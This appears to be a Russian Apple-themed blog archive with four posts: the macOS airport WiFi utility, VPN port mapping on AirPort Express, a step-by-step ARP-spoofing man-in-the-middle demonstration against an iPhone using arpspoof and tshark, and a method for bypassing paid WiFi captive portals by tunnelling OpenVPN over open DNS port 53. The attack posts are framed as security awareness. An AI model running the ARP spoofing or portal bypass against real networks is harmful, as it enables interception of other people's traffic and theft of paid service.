The Apple Geek » wifi

Работа с WiFi из командной строки (airport)

ctrld — Thu, 29 Jul 2010 06:49:04 +0000

Из подборки на superuser.com я освежил для себя подзабытую команду airport, с помощью которой можно работать с WiFi-подсистемой.

Утилита находится в дебрях фреймворка Apple80211:

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport

Для упрощения работы можно сделать алиас:

$ vim ~/.bash_profile
alias ap='/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport'

Сканирование сетей:

$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s
SSID    BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
XXXXXXX 00:00:00:00:00:a6  -65       2  N IL WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
YYYYYYY 00:00:00:00:00:ab  -34       7  Y AT WPA2(PSK/AES/AES)

SSID – service set identifier. Имя, которое идентифицирует беспроводную сеть
BSSID – basic service set identifier. В большинстве случаев это идентификатор Access Point и является её MAC-адресом
RSSI – Received signal strength indication. Мощность сигнала. Чем больше значение, тем сигнал мощнее (в примере сигнал сети YYYYYYY сильнее XXXXXXX).
CHANNEL – канал, на котором работает сеть. Для информации – в 802.11g есть всего три неинтерферирующих канала, поэтому если вокруг много активно работающих сетей, то будет наблюдаться снижение скорости и сбои в работе.
HT – я так и не нашёл, что это такое.
CC – страна, определяет частотный диапазон и конфигурируется для Access Point. IL – Израиль, AT – Австрия.
SECURITY (auth/unicast/group) – технология защиты, обмен ключами, шифрование.

Информация по текущей сети:

$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I
     agrCtlRSSI: -37
     agrExtRSSI: 0
    agrCtlNoise: -89
    agrExtNoise: 0
          state: running
        op mode: station
     lastTxRate: 145
        maxRate: 144
lastAssocStatus: 0
    802.11 auth: open
      link auth: wpa2-psk
          BSSID: 00:00:00:00:00:ab
           SSID: XXXXXXXXXXXX
            MCS: 15
        channel: 7

Почти все параметры говорят сами за себя (кроме lastTxRate и maxRate, которые я не могу объяснить внятно). Меня интересуют два параметра:

agrCtlRSSI – мощность сигнала, чем выше, тем лучше
agrCtlNoise – шум, чем меньше, тем лучше

Отключение от сети

$ sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -z

VPN-сервер в локальной сети за AirPort Express. Настройка Port Mapping

ctrld — Tue, 06 Jul 2010 13:09:18 +0000

Администраторам часто приходится работать с серверами удалённо, как по ssh, так и по VNC/RDP/Screen Sharing/Remote Management.
Можно открывать прямой доступ к нужным сервисам, полагаясь на пароли. Можно улучшать безопасность, разрешая доступ на брендмауерах только с определённых доверенных хостов и категорически не допускать внесения в этот список сетей по принципу “Ага, Yota. Ага, у них блок /18. Ага, администратор пользуется Yota. Ага, разрешим доступ со всего блока /18″ (к сожалению, в этом блоке есть сотни зараженных хостов, которые сканируют всё окружающее на предмет дыр, а от дыр не застрахован никто).

Но можно построить составную политику безопасности – для доступа в сеть использовать VPN-шлюз, а уже через VPN можно получить доступ к нужным ресурсам. Это и удобно – доступ можно разрешить из публичного Интернет, и достаточно безопасно при условии нормальной политики паролей.

В своей лаборатории я использую Mac OS X Server, на котором решил проверить вопросы, возникающие при реализации такой схемы. В Mac OS X Server VPN-сервер встроен и управляется через GUI. Вы также можете вручную настроить VPN-сервер на Mac OS X по статье Павла Цибулина “Snow Leopard as VPN server“.

Конфигурация сети такова:

доступ в Интернет из локальной сети обеспечивается WiFi-маршрутизатором через NAT
в локальной сети стоит VPN-сервер на Mac OS X Server 10.6
нужно получить доступ из публичного Internet в локальную сеть через VPN-сервер

На первый взгляд всё просто – настраиваешь проброс нужных портов с внешнего интерфейса WiFi-маршрутизаторе на VPN-сервер и пользуешься. Но реальная жизнь всегда сложнее.

У меня стоит Linksys WRT610n v1 (с последней официальной прошивкой). В нём можно описать один хост из локальной сети как хост из DMZ, и все запросы на внешний адрес WiFi-маршрутизатора будут передаваться автоматически на этот хост. Сделал – глухо. Ни PPTP, ни L2TP не заработали, в логах были попытки, но дальше LCP ничего не шло, и соединение не устанавливалось. При попытке соединения из локальной сети VPN поднимался без вопросов. Вывод – причина в маршрутизаторе.

Решил зайти с другой стороны и явно разрешить используемые порты – аналогичная картина.

И тут я вспомнил, что давно хотел купить для лаборатории AirPort Express (предварительно найдя информацию, что интересующая меня схема возможна). Сказано – сделано. Зашёл в iLand (Киев), пообщался с приятными людьми, повосхищался iPhone4, и вышел с AirPort Express.

Настроил точку, открыл нужные порты согласно документа ““Well known” TCP and UDP ports used by Apple software products“:

Port	TCP or UDP	Service or Protocol Name	RFC	Used by / Additional information
500	UDP	ISAKMP/IKE	-	Mac OS X Server VPN service, Back to My Mac (MobileMe, Mac OS X v10.5 or later).
1701	UDP	L2TP	-	Mac OS X Server VPN service
1723	TCP	PPTP	-	Mac OS X Server VPN service
4500	UDP	IKE NAT Traversal	-	Mac OS X Server VPN service, Back to My Mac (MobileMe, Mac OS X v10.5 or later). Note: VPN and MobileMe are mutually exclusive when configured through an Apple access point (such as an AirPort Base Station); MobileMe will take precedence.

Конфигурация AirPort выглядит так:

Детали по портам:

Само собой, для VPN-сервера настроена выдача статического адреса по DHCP:

VPN-сервер у меня уже настроен (и L2TP, и PPTP). Были, конечно, некоторые проблемы – не всё так быстро происходит, как пишется. Они были связаны именно с L2TP – PPTP заработал сразу.

Но после вчитывания в фразу “VPN and MobileMe are mutually exclusive when configured through an Apple access point (such as an AirPort Base Station); MobileMe will take precedence” и многократного запуска tshark я отключил на сервере “Back to My Mac”. После чего всё заработало (и PPTP, и L2TP):

Особенность – при настройке PPTP нужно указать “Encryption Level = Auto”.

Есть и другие вопросы (динамическая выдача маршрутов на нужные сети, маршрутизация, фильтрация), но об этом напишу в другой раз.

P.S. Маршрутизатор Linksys WRT610n v1 остался не у дел. Попробовал поставить прошивку dd-wrt, но радиочасть не захотела включаться. Откатился обратно. Да и что-то у меня нет желания возиться со странными неофициальными прошивками – Apple меня развратил красотой решений. А вот AirPort Express я очень доволен. Сейчас воткнул в него наушники и транслирую музыку с ноутбука. Благодать.

Перехват трафика устройств, подключённых через публичную точку доступа WiFi (атака MITM)

ctrld — Thu, 19 Nov 2009 14:25:21 +0000

Вчера @akaDimiG сбросил мне небольшую заметку “Безопасность Wi-Fi в iPhone под сомнением“, которая с первого взгляда у меня вызвала большое сомнение.

4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi.
Ничего нового это исследование не открыло – эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF на сайте компании. Уязвимость SSL была продемонстрирована на конференции Black Hat в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) “New Tricks For Defeating SSL In Practice“.

Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент должен установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая “жертве” данные по http. Но если “жертва” пойдёт прямо на “https://gmail.com”, то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну “жертву”. Исследование – это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости – в каждой сквозит беспочвенная паника.

Поэтому вместо гипотетического “SSL Bypass” давайте рассмотрим, как провести атаку Man In The Middle.

Man in the middle

Я проходился по нерадивым администраторам, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию “AP Isolation”, тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.

Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался…

Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).

MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP. Для этого нужна утилита arpspoof. Она входит в пакет dsniff.

Обновляем порты:

$ sudo port selfupdate
$ port search dsniff
dsniff @2.3 (net)
    network auditing and penetration testing tools

dsniff-devel @2.4b1 (net)
    network auditing and penetration testing tools

К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.

$ sudo port install dsniff-devel

Теперь нужно определить адрес “жертвы”. Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета Wireshark.

В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован “исследователь”. Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):

$ sudo tshark -i en1 not host 192.168.99.10
86.799891      0.0.0.0 -> 255.255.255.255 DHCP DHCP Request  - Transaction ID 0x702c1385
86.799930 Apple_43:7e:5b -> Broadcast    ARP Gratuitous ARP for 192.168.99.12 (Request)
87.208880 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.329216 192.168.99.12 -> 224.0.0.2    IGMP V2 Leave Group 224.0.0.251
87.336388 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
87.535037 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.633880 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.635113 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QU" question
87.790738 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.885778 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
87.935788 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.135397 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
88.336400 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.385319 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
89.461989 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
91.407420 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
94.457022 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
95.401260 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local

Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:

$ sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0

$ sudo sysctl -w net.inet.ip.forwarding=1

Запускаем инъекцию ложных arp, чтобы “жертве” в ответ на запрос mac маршрутизатора выдался mac “исследователя”:

$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c

-i en1 – AirPort
-t 192.168.99.12 – адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса
192.168.99.1 – адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса

00:26:08:e2:a6:0c – это mac ноутбука исследователя:

$ ifconfig en1
en1: flags=8863 mtu 1500
	inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255
	ether 00:26:08:e2:a6:0c

Вот, собственно, и всё, теперь трафик “жертвы” проходит через ноутбук исследователя:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host)
  9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1
  9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1
  9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1
  9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1
  9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1
  9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1

К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello

Как вы видите, MITM реализуется очень просто. Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.

Как при доле везения и с предварительной подготовкой получить бесплатный доступ в Интернет через платный WiFi

ctrld — Sat, 12 Sep 2009 12:41:49 +0000

Предупреждение

Для реализации методики нужно иметь свой выделенный или виртуальный сервер в Интернет, web-хостинг не подходит. У кого этого сервера нет, может продолжить читать только ради теоретического интереса. Также нужны хотя бы базовые знания и навыки по системному администрированию.

Статья написана с целью показать узкие места в защите коммерческих точек доступа WiFi, я не пропагандирую взлом, но хочу показать, что если немного подумать, то можно найти интересные методы решения любой задачи.

Вступление

Периодически бывает необходимость попасть в Интернет в публичном месте вроде торгового центра, кафе или зала ожидания. Но в основном доступ весь платный – входишь в открытую сеть, пытаешься открыть любой сайт и тебя перебрасывает на страницу авторизации с предложением ввести логин/пароль или купить доступ.

И тут закономерно возникает мысль, что люди вообще и сетевые администраторы в частности ленивы и далеко не всегда профессиональны. Поэтому во многих сетях есть дыры, о которых персонал либо не догадывается, либо же закрывает глаза на их существование ввиду сложности их использования. Да и потери от часа бесплатного использования Интернет одним человеком из тысячи мизерны.

Методика

Сразу предупреждаю, что методика работает далеко не всегда.

При подключению в открытую сеть в любом случае сервис DNS работает – нужно отрезолвить имена сайтов, чтобы ноутбук клиента попытался обратиться наружу и чтобы этот трафик был перенаправлен на прозрачный прокси, проводящий авторизацию. И вот здесь некоторые сетевые администраторы (достаточно многие, это проверено на практике) допускают грубую ошибку или же допускают компромис из желания сэкономить.

Вместо того, чтобы поставить сервер DNS и разрешить взаимодействие только с ним:

permit udp from  to  port 53

разрешают весь трафик DNS

permit udp from  to any port 53

А раз по 53-му порту UDP открыт полный доступ, то глупо этим не воспользоваться, и не повесить VPN-сервер снаружи на 53-й порт. Строится туннель, и полноценно и бесплатно работаешь.

Проверка на возможность применения методики

Проверяем, есть ли прямой доступ к внешним DNS-серверам (чувствую себя неловко, говоря, что для этого нужно запустить Terminal.app. Пока не нашёл баланс между простотой изложения и отсутствием ненужных деталей, поэтому буду периодически излагать на разных уровнях доступности…).

Команда dig служит для получения информации с DNS-серверов. Запуск без ключей обозначает получить данные об адресах корневых серверов DNS. Обращаем внимание на выделенное жирным. “status: NOERROR” – DNS-сервер в сети WiFi отвечает. Запоминаем адрес одного из корневых серверов в “ADDITIONAL SECTION”, это 198.41.0.4 (может меняться).

ole-mac:~ ctrld$ dig
...
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20291
...
;; ANSWER SECTION:
.			434637	IN	NS	a.root-servers.net.
.			434637	IN	NS	b.root-servers.net.
...
;; ADDITIONAL SECTION:
a.root-servers.net.	91966	IN	A	198.41.0.4
b.root-servers.net.	571815	IN	A	192.228.79.201
...
;; SERVER: 213.179.249.133#53(213.179.249.133)
;; WHEN: Sat Sep 12 14:58:06 2009
;; MSG SIZE  rcvd: 500

Пытаемся доступиться к внешнему DNS-серверу, адрес которого получен на предыдущем шаге. Команда “dig @198.41.0.4 . ns” говорит обратиться к серверу 198.41.0.4 и запросить перечень DNS-серверов (модификатор “ns”), отвечающих за корневую зону “.”.

ole-mac:~ ctrld$ dig @198.41.0.4 . ns
...
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59373
...
;; ANSWER SECTION:
.			518400	IN	NS	G.ROOT-SERVERS.NET.
.			518400	IN	NS	F.ROOT-SERVERS.NET.
...
;; ADDITIONAL SECTION:
A.ROOT-SERVERS.NET.	3600000	IN	A	198.41.0.4
A.ROOT-SERVERS.NET.	3600000	IN	AAAA	2001:503:ba3e::2:30
...

;; Query time: 213 msec
;; SERVER: 198.41.0.4#53(198.41.0.4)
;; WHEN: Sat Sep 12 14:58:34 2009
;; MSG SIZE  rcvd: 500

Если ответ получен (status: NOERROR) и адрес “SERVER: 198.41.0.4″ тот же, к которому мы обращались, то всё в порядке, методика сработает.

Доступа не будет, если получено что-то вроде этого:

ole-mac:~ ctrld$ dig @198.41.0.4 . ns

; <<>> DiG 9.6.0-APPLE-P2 <<>> @198.41.0.4 . ns
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

Если прямого доступа нет, то не всё потеряно. Нужно перейти к проверке работы следующего метода, который я опишу в следующей статье.

Серверная часть

Как я сказал в самом начале, нужно иметь в Интернет выделенный или виртуальный сервер, на который можно поставить VPN-сервер. Детали описывать не буду, эта задача проста для любого системного администратора.

Требования к VPN-серверу просты:

Сервер должен использовать протокол udp.
Его нужно установить на порт 53/udp.

Я использую сервер OpenVPN, это бесплатное решение под лицензией GPL, работающее под Unix и Windows. Сам сервер и документация по его настройке доступна на сайте OpenVPN. Лучше ставить версию 2.1 beta.

Клиентская часть

Для подключения к OpenVPN-серверу нужен клиент для MacOS X (установка клиента OpenVPN – отдельный вопрос, не буду останавливаться). Есть такие варианты:

Консольная клиентская часть OpenVPN, запускается из терминала.
Tunnelblick – GUI для OpenVPN. Бесплатная программа, но у меня она сбоила.
Viscosity OpenVPN Client. Платная, красивая и стабильно работающая программа, рекомендую.

Настраиваем соединение с OpenVPN (не буду останавливаться и на этом, описание сделаю в отдельной статье), подключаемся и наслаждаемся бесплатным Интернет.